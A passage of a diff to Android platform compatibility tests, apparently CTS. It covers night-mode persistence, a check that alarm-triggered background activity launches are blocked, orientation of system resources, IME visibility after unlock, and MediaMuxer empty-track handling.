@@ -108,6 +110,11 @@
}
public void testNightModeYesPersisted() throws InterruptedException {
+ if (mUiModeManager.isNightModeLocked()) {
+ Log.i(TAG, "testNightModeYesPersisted skipped: night mode is locked");
+ return;
+ }
+
// Reset the mode to no if it is set to another value
setNightMode(UiModeManager.MODE_NIGHT_NO);
@@ -116,6 +123,11 @@
}
public void testNightModeAutoPersisted() throws InterruptedException {
+ if (mUiModeManager.isNightModeLocked()) {
+ Log.i(TAG, "testNightModeAutoPersisted skipped: night mode is locked");
+ return;
+ }
+
// Reset the mode to no if it is set to another value
setNightMode(UiModeManager.MODE_NIGHT_NO);
@@ -125,6 +137,7 @@
public void testNightModeAutoNotPersistedCarMode() {
if (mUiModeManager.isNightModeLocked()) {
+ Log.i(TAG, "testNightModeAutoNotPersistedCarMode skipped: night mode is locked");
return;
}
@@ -139,6 +152,7 @@
public void testNightModeInCarModeIsTransient() {
if (mUiModeManager.isNightModeLocked()) {
+ Log.i(TAG, "testNightModeInCarModeIsTransient skipped: night mode is locked");
return;
}
@@ -156,6 +170,8 @@
public void testNightModeToggleInCarModeDoesNotChangeSetting() {
if (mUiModeManager.isNightModeLocked()) {
+ Log.i(TAG, "testNightModeToggleInCarModeDoesNotChangeSetting skipped: "
+ + "night mode is locked");
return;
}
@@ -174,6 +190,8 @@
public void testNightModeInCarModeOnPowerSaveIsTransient() throws Throwable {
if (mUiModeManager.isNightModeLocked() || !BatteryUtils.isBatterySaverSupported()) {
+ Log.i(TAG, "testNightModeInCarModeOnPowerSaveIsTransient skipped: "
+ + "night mode is locked or battery saver is not supported");
return;
}
@@ -347,7 +365,7 @@
int storedModeInt = -1;
// Settings.Secure.UI_NIGHT_MODE
for (int i = 0; i < MAX_WAIT_TIME; i += WAIT_TIME_INCR) {
- String storedMode = SettingsUtils.getSecureSetting("ui_night_mode");
+ String storedMode = getUiNightModeFromSetting();
storedModeInt = Integer.parseInt(storedMode);
if (mode == storedModeInt) break;
try {
@@ -404,4 +422,10 @@
}
}
+ private String getUiNightModeFromSetting() {
+ String key = "ui_night_mode";
+ return UserUtils.isHeadlessSystemUserMode()
+ ? SettingsUtils.getSecureSettingAsUser(UserHandle.USER_SYSTEM, key)
+ : SettingsUtils.getSecureSetting(key);
+ }
}
diff --git a/tests/framework/base/windowmanager/app/src/android/server/wm/app/Components.java b/tests/framework/base/windowmanager/app/src/android/server/wm/app/Components.java
index dc5aca6..97457be 100644
--- a/tests/framework/base/windowmanager/app/src/android/server/wm/app/Components.java
+++ b/tests/framework/base/windowmanager/app/src/android/server/wm/app/Components.java
@@ -304,6 +304,7 @@
public static final String EXTRA_APP_CONFIG_INFO = "app_config_info";
public static final String EXTRA_CONFIG_INFO_IN_ON_CREATE = "config_info_in_on_create";
public static final String EXTRA_DISPLAY_REAL_SIZE = "display_real_size";
+ public static final String EXTRA_SYSTEM_RESOURCES_CONFIG_INFO = "sys_config_info";
}
/** Extra key constants for {@link android.server.wm.app.FontScaleActivity}. */
diff --git a/tests/framework/base/windowmanager/app/src/android/server/wm/app/LandscapeOrientationActivity.java b/tests/framework/base/windowmanager/app/src/android/server/wm/app/LandscapeOrientationActivity.java
index dd1ad87..8ceeab2 100644
--- a/tests/framework/base/windowmanager/app/src/android/server/wm/app/LandscapeOrientationActivity.java
+++ b/tests/framework/base/windowmanager/app/src/android/server/wm/app/LandscapeOrientationActivity.java
@@ -19,9 +19,11 @@
import static android.server.wm.app.Components.LandscapeOrientationActivity.EXTRA_APP_CONFIG_INFO;
import static android.server.wm.app.Components.LandscapeOrientationActivity.EXTRA_CONFIG_INFO_IN_ON_CREATE;
import static android.server.wm.app.Components.LandscapeOrientationActivity.EXTRA_DISPLAY_REAL_SIZE;
+import static android.server.wm.app.Components.LandscapeOrientationActivity.EXTRA_SYSTEM_RESOURCES_CONFIG_INFO;
import android.app.Application;
import android.content.res.Configuration;
+import android.content.res.Resources;
import android.graphics.Point;
import android.hardware.display.DisplayManager;
import android.os.Bundle;
@@ -50,6 +52,8 @@
// own display adjustments.
app.getSystemService(DisplayManager.class)
.getDisplay(Display.DEFAULT_DISPLAY)));
+ extras.putParcelable(EXTRA_SYSTEM_RESOURCES_CONFIG_INFO,
+ new ConfigInfo(Resources.getSystem()));
client.putExtras(extras);
});
}
diff --git a/tests/framework/base/windowmanager/backgroundactivity/AppA/AndroidManifest.xml b/tests/framework/base/windowmanager/backgroundactivity/AppA/AndroidManifest.xml
index 2f8b2dd..e424c5f 100755
--- a/tests/framework/base/windowmanager/backgroundactivity/AppA/AndroidManifest.xml
+++ b/tests/framework/base/windowmanager/backgroundactivity/AppA/AndroidManifest.xml
@@ -20,6 +20,7 @@
<!-- To enable the app to start activities from the background. -->
<uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
+ <uses-permission android:name="android.permission.SCHEDULE_EXACT_ALARM"/>
<application android:testOnly="true">
<receiver
@@ -51,5 +52,7 @@
<activity
android:name=".SecondBackgroundActivity"
android:exported="true" />
+ <activity android:name=".AlarmManagerActivity"
+ android:exported="true"/>
</application>
</manifest>
diff --git a/tests/framework/base/windowmanager/backgroundactivity/AppA/src/android/server/wm/backgroundactivity/appa/AlarmManagerActivity.java b/tests/framework/base/windowmanager/backgroundactivity/AppA/src/android/server/wm/backgroundactivity/appa/AlarmManagerActivity.java
new file mode 100644
index 0000000..d9bdac8
--- /dev/null
+++ b/tests/framework/base/windowmanager/backgroundactivity/AppA/src/android/server/wm/backgroundactivity/appa/AlarmManagerActivity.java
@@ -0,0 +1,39 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm.backgroundactivity.appa;
+
+import android.app.Activity;
+import android.app.AlarmManager;
+import android.app.PendingIntent;
+import android.content.Context;
+import android.content.Intent;
+import android.os.Bundle;
+import android.os.SystemClock;
+import android.provider.Settings;
+
+public class AlarmManagerActivity extends Activity {
+
+ @Override
+ public void onCreate(Bundle b) {
+ super.onCreate(b);
+
+ getSystemService(AlarmManager.class).setExact(AlarmManager.ELAPSED_REALTIME_WAKEUP,
+ SystemClock.elapsedRealtime() + 30000,
+ PendingIntent.getActivity(this, 0, new Intent(this, BackgroundActivity.class),
+ PendingIntent.FLAG_IMMUTABLE));
+ }
+}
\ No newline at end of file
diff --git a/tests/framework/base/windowmanager/backgroundactivity/src/android/server/wm/BackgroundActivityLaunchTest.java b/tests/framework/base/windowmanager/backgroundactivity/src/android/server/wm/BackgroundActivityLaunchTest.java
index 74267e3..fee76a0 100644
--- a/tests/framework/base/windowmanager/backgroundactivity/src/android/server/wm/BackgroundActivityLaunchTest.java
+++ b/tests/framework/base/windowmanager/backgroundactivity/src/android/server/wm/BackgroundActivityLaunchTest.java
@@ -57,9 +57,9 @@
import android.os.ResultReceiver;
import android.platform.test.annotations.Presubmit;
import android.platform.test.annotations.SystemUserOnly;
+import android.provider.Settings;
import android.server.wm.backgroundactivity.common.CommonComponents.Event;
import android.server.wm.backgroundactivity.common.EventReceiver;
-import android.util.Log;
import androidx.annotation.Nullable;
import androidx.test.filters.FlakyTest;
@@ -92,6 +92,12 @@
private static final String TEST_PACKAGE_APP_A = "android.server.wm.backgroundactivity.appa";
private static final String TEST_PACKAGE_APP_B = "android.server.wm.backgroundactivity.appb";
+ private static final int ACTIVITY_START_TIMEOUT_MS = 5000;
+ private static final int ALARM_MANAGER_MAX_DELAY_MS = 60000;
+
+ public static final ComponentName APP_A_ALARM_MANAGER_ACTIVITY =
+ new ComponentName(TEST_PACKAGE_APP_A,
+ "android.server.wm.backgroundactivity.appa.AlarmManagerActivity");
/**
* Tests can be executed as soon as the device has booted. When that happens the broadcast queue
@@ -465,6 +471,31 @@
assertTaskStack(new ComponentName[]{APP_A_BACKGROUND_ACTIVITY}, APP_A_BACKGROUND_ACTIVITY);
}
+ @Test
+ public void testAlarmManagerCannotStartBgActivity() throws Exception {
+ // Start the alarm activity which will create a pending intent and ask alarm manager to
+ // run after 30s.
+ Intent intent = new Intent();
+ intent.setComponent(APP_A_ALARM_MANAGER_ACTIVITY);
+ intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ mContext.startActivity(intent);
+ assertTrue("Alarm activity not started", waitUntilForegroundChanged(
+ TEST_PACKAGE_APP_A, true, ACTIVITY_START_TIMEOUT_MS));
+
+ // Start Settings activity.
+ intent = new Intent(Settings.ACTION_SETTINGS);
+ intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ mContext.startActivity(intent);
+ assertTrue("Settings activity not started", waitUntilForegroundChanged(
+ TEST_PACKAGE_APP_A, false, ACTIVITY_START_TIMEOUT_MS));
+
+ // Even Settings app is in foreground, alarm manager should not use Settings foreground
+ // state to launch the pending intent from alarm manager.
+ assertFalse("Test activity is resumed",
+ waitUntilForegroundChanged(TEST_PACKAGE_APP_A, true,
+ ALARM_MANAGER_MAX_DELAY_MS));
+ }
+
private Intent getLaunchActivitiesBroadcast(ComponentName... componentNames) {
Intent broadcastIntent = new Intent(ACTION_LAUNCH_BACKGROUND_ACTIVITIES);
Intent[] intents = Stream.of(componentNames)
@@ -559,4 +590,24 @@
intent.putExtra(EVENT_NOTIFIER_EXTRA, eventNotifier);
mContext.sendBroadcast(intent);
}
+
+ private boolean waitUntilForegroundChanged(String targetPkg, boolean toBeResumed, int timeout)
+ throws Exception {
+ long startTime = System.currentTimeMillis();
+ while (checkPackageResumed(targetPkg) != toBeResumed) {
+ if (System.currentTimeMillis() - startTime < timeout) {
+ Thread.sleep(100);
+ } else {
+ return false;
+ }
+ }
+ return true;
+ }
+
+ private boolean checkPackageResumed(String pkg) {
+ WindowManagerStateHelper helper = new WindowManagerStateHelper();
+ helper.computeState();
+ return ComponentName.unflattenFromString(
+ helper.getFocusedActivity()).getPackageName().equals(pkg);
+ }
}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/AppConfigurationTests.java b/tests/framework/base/windowmanager/src/android/server/wm/AppConfigurationTests.java
index 859eb29..302c915 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/AppConfigurationTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/AppConfigurationTests.java
@@ -40,6 +40,7 @@
import static android.server.wm.app.Components.LandscapeOrientationActivity.EXTRA_APP_CONFIG_INFO;
import static android.server.wm.app.Components.LandscapeOrientationActivity.EXTRA_CONFIG_INFO_IN_ON_CREATE;
import static android.server.wm.app.Components.LandscapeOrientationActivity.EXTRA_DISPLAY_REAL_SIZE;
+import static android.server.wm.app.Components.LandscapeOrientationActivity.EXTRA_SYSTEM_RESOURCES_CONFIG_INFO;
import static android.server.wm.translucentapp26.Components.SDK26_TRANSLUCENT_LANDSCAPE_ACTIVITY;
import static android.view.Surface.ROTATION_0;
import static android.view.Surface.ROTATION_180;
@@ -59,6 +60,7 @@
import android.content.ComponentName;
import android.content.Context;
+import android.content.res.Resources;
import android.graphics.Point;
import android.graphics.Rect;
import android.hardware.display.DisplayManager;
@@ -68,6 +70,7 @@
import android.server.wm.CommandSession.ConfigInfo;
import android.server.wm.CommandSession.SizeInfo;
import android.server.wm.TestJournalProvider.TestJournalContainer;
+import android.util.DisplayMetrics;
import android.view.Display;
import org.junit.Test;
@@ -469,6 +472,9 @@
final Point onCreateRealDisplaySize = extras.getParcelable(EXTRA_DISPLAY_REAL_SIZE);
final ConfigInfo onCreateConfigInfo = extras.getParcelable(EXTRA_CONFIG_INFO_IN_ON_CREATE);
final SizeInfo onCreateSize = onCreateConfigInfo.sizeInfo;
+ final ConfigInfo globalConfigInfo =
+ extras.getParcelable(EXTRA_SYSTEM_RESOURCES_CONFIG_INFO);
+ final SizeInfo globalSizeInfo = globalConfigInfo.sizeInfo;
assertEquals("The last reported size should be the same as the one from onCreate",
reportedSizes, onCreateConfigInfo.sizeInfo);
@@ -482,6 +488,10 @@
expectedRotation, onCreateConfigInfo.rotation);
assertEquals("The application should get the final display rotation in onCreate",
expectedRotation, appConfigInfo.rotation);
+ assertEquals("The orientation of application must be landscape",
+ ORIENTATION_LANDSCAPE, appConfigInfo.sizeInfo.orientation);
+ assertEquals("The orientation of system resources must be landscape",
+ ORIENTATION_LANDSCAPE, globalSizeInfo.orientation);
assertEquals("The activity should get the final display size in onCreate",
expectedRealDisplaySize, onCreateRealDisplaySize);
@@ -490,6 +500,13 @@
onCreateSize.displayWidth > onCreateSize.displayHeight);
assertEquals("The application should get the same orientation", isLandscape,
appConfigInfo.sizeInfo.displayWidth > appConfigInfo.sizeInfo.displayHeight);
+ assertEquals("The app display metrics must be landscape", isLandscape,
+ appConfigInfo.sizeInfo.metricsWidth > appConfigInfo.sizeInfo.metricsHeight);
+
+ final DisplayMetrics globalMetrics = Resources.getSystem().getDisplayMetrics();
+ assertEquals("The display metrics of system resources must be landscape",
+ new Point(globalMetrics.widthPixels, globalMetrics.heightPixels),
+ new Point(globalSizeInfo.metricsWidth, globalSizeInfo.metricsHeight));
}
@Test
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/DisplayTests.java b/tests/framework/base/windowmanager/src/android/server/wm/DisplayTests.java
index 6ad0dc1..bd415bf 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/DisplayTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/DisplayTests.java
@@ -23,6 +23,7 @@
import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
import static org.junit.Assume.assumeFalse;
import static org.junit.Assume.assumeTrue;
@@ -60,6 +61,18 @@
}
/**
+ * Tests that config_remoteInsetsControllerControlsSystemBars is not set to true for
+ * non-automotive devices.
+ */
+ @Test
+ public void testRemoteInsetsControllerNotControlSystemBarsForNonAutoDevies() {
+ assumeFalse(isCar());
+
+ assertFalse("Non auto devices should not set config_remoteInsetsControllerControlsSystemBars",
+ remoteInsetsControllerControlsSystemBars());
+ }
+
+ /**
* Tests that secondary display has override configuration set.
*/
@Test
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java b/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java
index 6ca5fc9..f4e7d89 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java
@@ -1169,6 +1169,11 @@
.getBoolean(android.R.bool.config_perDisplayFocusEnabled);
}
+ protected static boolean remoteInsetsControllerControlsSystemBars() {
+ return getInstrumentation().getTargetContext().getResources()
+ .getBoolean(android.R.bool.config_remoteInsetsControllerControlsSystemBars);
+ }
+
/** @see ObjectTracker#manage(AutoCloseable) */
protected HomeActivitySession createManagedHomeActivitySession(ComponentName homeActivity) {
return mObjectTracker.manage(new HomeActivitySession(homeActivity));
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/CommandSession.java b/tests/framework/base/windowmanager/util/src/android/server/wm/CommandSession.java
index 4039a13..418d298 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/CommandSession.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/CommandSession.java
@@ -1023,6 +1023,12 @@
sizeInfo = new SizeInfo(display, metrics, config);
}
+ public ConfigInfo(Resources res) {
+ final DisplayMetrics metrics = res.getDisplayMetrics();
+ final Configuration config = res.getConfiguration();
+ sizeInfo = new SizeInfo(null /* display */, metrics, config);
+ }
+
@Override
public String toString() {
return "ConfigInfo: {displayId=" + displayId + " rotation=" + rotation
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/KeyboardVisibilityControlTest.java b/tests/inputmethod/src/android/view/inputmethod/cts/KeyboardVisibilityControlTest.java
index 728d136..0d169e3 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/KeyboardVisibilityControlTest.java
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/KeyboardVisibilityControlTest.java
@@ -16,8 +16,14 @@
package android.view.inputmethod.cts;
+import static android.view.View.VISIBLE;
import static android.view.WindowInsets.Type.ime;
import static android.view.WindowManager.LayoutParams.FLAG_DRAWS_SYSTEM_BAR_BACKGROUNDS;
+import static android.view.WindowManager.LayoutParams.SOFT_INPUT_STATE_ALWAYS_HIDDEN;
+import static android.view.WindowManager.LayoutParams.SOFT_INPUT_STATE_ALWAYS_VISIBLE;
+import static android.view.WindowManager.LayoutParams.SOFT_INPUT_STATE_HIDDEN;
+import static android.view.WindowManager.LayoutParams.SOFT_INPUT_STATE_UNSPECIFIED;
+import static android.view.WindowManager.LayoutParams.SOFT_INPUT_STATE_VISIBLE;
import static android.view.inputmethod.cts.util.InputMethodVisibilityVerifier.expectImeInvisible;
import static android.view.inputmethod.cts.util.InputMethodVisibilityVerifier.expectImeVisible;
import static android.view.inputmethod.cts.util.TestUtils.getOnMainSync;
@@ -75,6 +81,7 @@
@RunWith(AndroidJUnit4.class)
public class KeyboardVisibilityControlTest extends EndToEndImeTestBase {
private static final long TIMEOUT = TimeUnit.SECONDS.toMillis(5);
+ private static final long NOT_EXPECT_TIMEOUT = TimeUnit.SECONDS.toMillis(1);
@Rule
public final UnlockScreenRule mUnlockScreenRule = new UnlockScreenRule();
@@ -407,6 +414,96 @@
}
}
+ @Test
+ public void testImeState_EditorDialogLostFocusAfterUnlocked_Unspecified() throws Exception {
+ runImeDoesntReshowAfterKeyguardTest(SOFT_INPUT_STATE_UNSPECIFIED);
+ }
+
+ @Test
+ public void testImeState_EditorDialogLostFocusAfterUnlocked_Visible() throws Exception {
+ runImeDoesntReshowAfterKeyguardTest(SOFT_INPUT_STATE_VISIBLE);
+ }
+
+ @Test
+ public void testImeState_EditorDialogLostFocusAfterUnlocked_AlwaysVisible() throws Exception {
+ runImeDoesntReshowAfterKeyguardTest(SOFT_INPUT_STATE_ALWAYS_VISIBLE);
+ }
+
+ @Test
+ public void testImeState_EditorDialogLostFocusAfterUnlocked_Hidden() throws Exception {
+ runImeDoesntReshowAfterKeyguardTest(SOFT_INPUT_STATE_HIDDEN);
+ }
+
+ @Test
+ public void testImeState_EditorDialogLostFocusAfterUnlocked_AlwaysHidden() throws Exception {
+ runImeDoesntReshowAfterKeyguardTest(SOFT_INPUT_STATE_ALWAYS_HIDDEN);
+ }
+
+ private void runImeDoesntReshowAfterKeyguardTest(int softInputState) throws Exception {
+ try (MockImeSession imeSession = MockImeSession.create(
+ InstrumentationRegistry.getInstrumentation().getContext(),
+ InstrumentationRegistry.getInstrumentation().getUiAutomation(),
+ new ImeSettings.Builder())) {
+ final ImeEventStream stream = imeSession.openEventStream();
+
+ // Launch a simple test activity
+ final TestActivity testActivity =
+ TestActivity.startSync(activity -> new LinearLayout(activity));
+
+ // Launch a dialog and show keyboard
+ final String marker = getTestMarker();
+ final AtomicReference<EditText> editTextRef = new AtomicReference<>();
+ final AtomicReference<AlertDialog> dialogRef = new AtomicReference<>();
+ TestUtils.runOnMainSync(() -> {
+ final EditText editText = new EditText(testActivity);
+ editText.setHint("focused editText");
+ editText.setPrivateImeOptions(marker);
+ editText.requestFocus();
+ final AlertDialog dialog = new AlertDialog.Builder(testActivity)
+ .setView(editText)
+ .create();
+ dialog.getWindow().setSoftInputMode(softInputState);
+ dialog.show();
+ editText.getWindowInsetsController().show(ime());
+ editTextRef.set(editText);
+ dialogRef.set(dialog);
+ });
+
+ TestUtils.waitOnMainUntil(() -> dialogRef.get().isShowing()
+ && editTextRef.get().hasFocus(), TIMEOUT);
+ expectEvent(stream, editorMatcher("onStartInput", marker), TIMEOUT);
+ expectEvent(stream, event -> "showSoftInput".equals(event.getEventName()), TIMEOUT);
+ expectEvent(stream, editorMatcher("onStartInputView", marker), TIMEOUT);
+ expectEventWithKeyValue(stream, "onWindowVisibilityChanged", "visible",
+ View.VISIBLE, TIMEOUT);
+ expectImeVisible(TIMEOUT);
+
+ // Clear editor focus after screen-off
+ TestUtils.turnScreenOff();
+ TestUtils.waitOnMainUntil(() -> editTextRef.get().getWindowVisibility() != VISIBLE,
+ TIMEOUT);
+ expectEvent(stream, onFinishInputViewMatcher(true), TIMEOUT);
+ expectEvent(stream, editorMatcher("onStartInput", marker), TIMEOUT);
+ expectEvent(stream, editorMatcher("onStartInputView", marker), TIMEOUT);
+ // Expect showSoftInput comes when system notify InsetsController to apply show IME
+ // insets after IME input target updated.
+ expectEvent(stream, event -> "showSoftInput".equals(event.getEventName()), TIMEOUT);
+ notExpectEvent(stream, hideSoftInputMatcher(), NOT_EXPECT_TIMEOUT);
+ TestUtils.runOnMainSync(editTextRef.get()::clearFocus);
+
+ // Verify IME will invisible after device unlocked
+ TestUtils.turnScreenOn();
+ TestUtils.unlockScreen();
+ // Expect hideSoftInput and onFinishInputView will called by IMMS when the same window
+ // focused since the editText view focus has been cleared.
+ TestUtils.waitOnMainUntil(() -> editTextRef.get().hasWindowFocus()
+ && !editTextRef.get().hasFocus(), TIMEOUT);
+ expectEvent(stream, hideSoftInputMatcher(), TIMEOUT);
+ expectEvent(stream, onFinishInputViewMatcher(false), TIMEOUT);
+ expectImeInvisible(TIMEOUT);
+ }
+ }
+
private static ImeSettings.Builder getFloatingImeSettings(@ColorInt int navigationBarColor) {
final ImeSettings.Builder builder = new ImeSettings.Builder();
builder.setWindowFlags(0, FLAG_DRAWS_SYSTEM_BAR_BACKGROUNDS);
diff --git a/tests/media/src/android/mediav2/cts/MuxerTest.java b/tests/media/src/android/mediav2/cts/MuxerTest.java
index 0ca67f2..4bad587 100644
--- a/tests/media/src/android/mediav2/cts/MuxerTest.java
+++ b/tests/media/src/android/mediav2/cts/MuxerTest.java
@@ -1045,6 +1045,15 @@
}
}
+ @Test
+ public void testSimpleMuxNative() {
+ Assume.assumeTrue("TODO(b/146421018)",
+ !mMime.equals(MediaFormat.MIMETYPE_AUDIO_OPUS));
+ Assume.assumeTrue("TODO(b/146923287)",
+ !mMime.equals(MediaFormat.MIMETYPE_AUDIO_VORBIS));
+ assertTrue(nativeTestSimpleMux(mInpPath, mOutPath, mMime, selector));
+ }
+
/* Does MediaMuxer throw IllegalStateException on missing codec specific data when required.
* Check if relevant exception is thrown for AAC, AVC, HEVC, and MPEG4
* codecs that require CSD in MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4.
@@ -1077,14 +1086,161 @@
}
}
}
+ }
+
+ @LargeTest
+ @RunWith(Parameterized.class)
+ public static class TestAddEmptyTracks {
+ private final List<String> mimeListforTypeMp4 =
+ Arrays.asList(MediaFormat.MIMETYPE_VIDEO_MPEG4, MediaFormat.MIMETYPE_VIDEO_H263,
+ MediaFormat.MIMETYPE_VIDEO_AVC, MediaFormat.MIMETYPE_VIDEO_HEVC,
+ MediaFormat.MIMETYPE_AUDIO_AAC, MediaFormat.MIMETYPE_IMAGE_ANDROID_HEIC,
+ MediaFormat.MIMETYPE_TEXT_SUBRIP);
+ private final List<String> mimeListforTypeWebm =
+ Arrays.asList(MediaFormat.MIMETYPE_VIDEO_VP8, MediaFormat.MIMETYPE_VIDEO_VP9,
+ MediaFormat.MIMETYPE_AUDIO_VORBIS, MediaFormat.MIMETYPE_AUDIO_OPUS);
+ private final List<String> mimeListforType3gp =
+ Arrays.asList(MediaFormat.MIMETYPE_VIDEO_MPEG4, MediaFormat.MIMETYPE_VIDEO_H263,
+ MediaFormat.MIMETYPE_VIDEO_AVC, MediaFormat.MIMETYPE_AUDIO_AAC,
+ MediaFormat.MIMETYPE_AUDIO_AMR_NB, MediaFormat.MIMETYPE_AUDIO_AMR_WB);
+ private final List<String> mimeListforTypeOgg =
+ Arrays.asList(MediaFormat.MIMETYPE_AUDIO_OPUS);
+ private String mMime;
+ private String mOutPath;
+
+ public TestAddEmptyTracks(String mime) {
+ mMime = mime;
+ }
+
+ @Before
+ public void prologue() throws IOException {
+ mOutPath = File.createTempFile("tmp", ".out").getAbsolutePath();
+ }
+
+ @After
+ public void epilogue() {
+ new File(mOutPath).delete();
+ }
+
+ private boolean isMimeContainerPairValid(int format) {
+ boolean result = false;
+ if (format == MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4)
+ result = mimeListforTypeMp4.contains(mMime);
+ else if (format == MediaMuxer.OutputFormat.MUXER_OUTPUT_WEBM) {
+ return mimeListforTypeWebm.contains(mMime);
+ } else if (format == MediaMuxer.OutputFormat.MUXER_OUTPUT_3GPP) {
+ result = mimeListforType3gp.contains(mMime);
+ } else if (format == MediaMuxer.OutputFormat.MUXER_OUTPUT_OGG) {
+ result = mimeListforTypeOgg.contains(mMime);
+ }
+ return result;
+ }
+
+ @Parameterized.Parameters(name = "{index}({0})")
+ public static Collection<Object[]> input() {
+ return Arrays.asList(new Object[][]{
+ // Video
+ {MediaFormat.MIMETYPE_VIDEO_H263},
+ {MediaFormat.MIMETYPE_VIDEO_AVC},
+ {MediaFormat.MIMETYPE_VIDEO_HEVC},
+ {MediaFormat.MIMETYPE_VIDEO_MPEG4},
+ {MediaFormat.MIMETYPE_VIDEO_VP8},
+ {MediaFormat.MIMETYPE_VIDEO_VP9},
+ // Audio
+ {MediaFormat.MIMETYPE_AUDIO_AAC},
+ {MediaFormat.MIMETYPE_AUDIO_AMR_NB},
+ {MediaFormat.MIMETYPE_AUDIO_AMR_WB},
+ {MediaFormat.MIMETYPE_AUDIO_OPUS},
+ {MediaFormat.MIMETYPE_AUDIO_VORBIS},
+ // Metadata
+ {MediaFormat.MIMETYPE_TEXT_SUBRIP},
+ // Image
+ {MediaFormat.MIMETYPE_IMAGE_ANDROID_HEIC}
+ });
+ }
@Test
- public void testSimpleMuxNative() {
- Assume.assumeTrue("TODO(b/146421018)",
- !mMime.equals(MediaFormat.MIMETYPE_AUDIO_OPUS));
- Assume.assumeTrue("TODO(b/146923287)",
- !mMime.equals(MediaFormat.MIMETYPE_AUDIO_VORBIS));
- assertTrue(nativeTestSimpleMux(mInpPath, mOutPath, mMime, selector));
+ public void testEmptyVideoTrack() {
+ for (int format = MUXER_OUTPUT_FIRST; format <= MUXER_OUTPUT_LAST; ++format) {
+ if (!mMime.startsWith("video/")) continue;
+ if (!isMimeContainerPairValid(format)) continue;
+ if (format != MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4) continue;
+ try {
+ MediaMuxer mediaMuxer = new MediaMuxer(mOutPath, format);
+ MediaFormat mediaFormat = new MediaFormat();
+ mediaFormat.setString(MediaFormat.KEY_MIME, mMime);
+ mediaFormat.setInteger(MediaFormat.KEY_HEIGHT, 480);
+ mediaFormat.setInteger(MediaFormat.KEY_WIDTH, 640);
+ mediaMuxer.addTrack(mediaFormat);
+ mediaMuxer.start();
+ mediaMuxer.stop();
+ mediaMuxer.release();
+ } catch (Exception e) {
+ fail("testEmptyVideoTrack : unexpected exception : " + e.getMessage());
+ }
+ }
+ }
+
+ @Test
+ public void testEmptyAudioTrack() {
+ for (int format = MUXER_OUTPUT_FIRST; format <= MUXER_OUTPUT_LAST; ++format) {
+ if (!mMime.startsWith("audio/")) continue;
+ if (!isMimeContainerPairValid(format)) continue;
+ if (format != MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4) continue;
+ try {
+ MediaMuxer mediaMuxer = new MediaMuxer(mOutPath, format);
+ MediaFormat mediaFormat = new MediaFormat();
+ mediaFormat.setString(MediaFormat.KEY_MIME, mMime);
+ mediaFormat.setInteger(MediaFormat.KEY_SAMPLE_RATE, 12000);
+ mediaFormat.setInteger(MediaFormat.KEY_CHANNEL_COUNT, 2);
+ mediaMuxer.addTrack(mediaFormat);
+ mediaMuxer.start();
+ mediaMuxer.stop();
+ mediaMuxer.release();
+ } catch (Exception e) {
+ fail("testEmptyAudioTrack : unexpected exception : " + e.getMessage());
+ }
+ }
+ }
+
+ @Test
+ public void testEmptyMetaDataTrack() {
+ for (int format = MUXER_OUTPUT_FIRST; format <= MUXER_OUTPUT_LAST; ++format) {
+ if (!mMime.startsWith("application/")) continue;
+ if (!isMimeContainerPairValid(format)) continue;
+ try {
+ MediaMuxer mediaMuxer = new MediaMuxer(mOutPath, format);
+ MediaFormat mediaFormat = new MediaFormat();
+ mediaFormat.setString(MediaFormat.KEY_MIME, mMime);
+ mediaMuxer.addTrack(mediaFormat);
+ mediaMuxer.start();
+ mediaMuxer.stop();
+ mediaMuxer.release();
+ } catch (Exception e) {
+ fail("testEmptyMetaDataTrack : unexpected exception : " + e.getMessage());
+ }
+ }
+ }
+
+ @Test
+ public void testEmptyImageTrack() {
+ for (int format = MUXER_OUTPUT_FIRST; format <= MUXER_OUTPUT_LAST; ++format) {
+ if (!mMime.startsWith("image/")) continue;
+ if (!isMimeContainerPairValid(format)) continue;
+ try {
+ MediaMuxer mediaMuxer = new MediaMuxer(mOutPath, format);
+ MediaFormat mediaFormat = new MediaFormat();
+ mediaFormat.setString(MediaFormat.KEY_MIME, mMime);
+ mediaFormat.setInteger(MediaFormat.KEY_HEIGHT, 480);
+ mediaFormat.setInteger(MediaFormat.KEY_WIDTH, 640);
+ mediaMuxer.addTrack(mediaFormat);
+ mediaMuxer.start();
+ mediaMuxer.stop();
+ mediaMuxer.release();
+ } catch (Exception e) {
+ fail("testEmptyImageTrack : unexpected exception : " + e.getMessage());
+ }
+ }
}
}
}
diff --git a/tests/sensor/src/android/hardware/cts/SensorAdditionalInfoTest.java b/tests/sensor/src/android/hardware/cts/SensorAdditionalInfoTest.java
index df86fa6..6915db3 100644
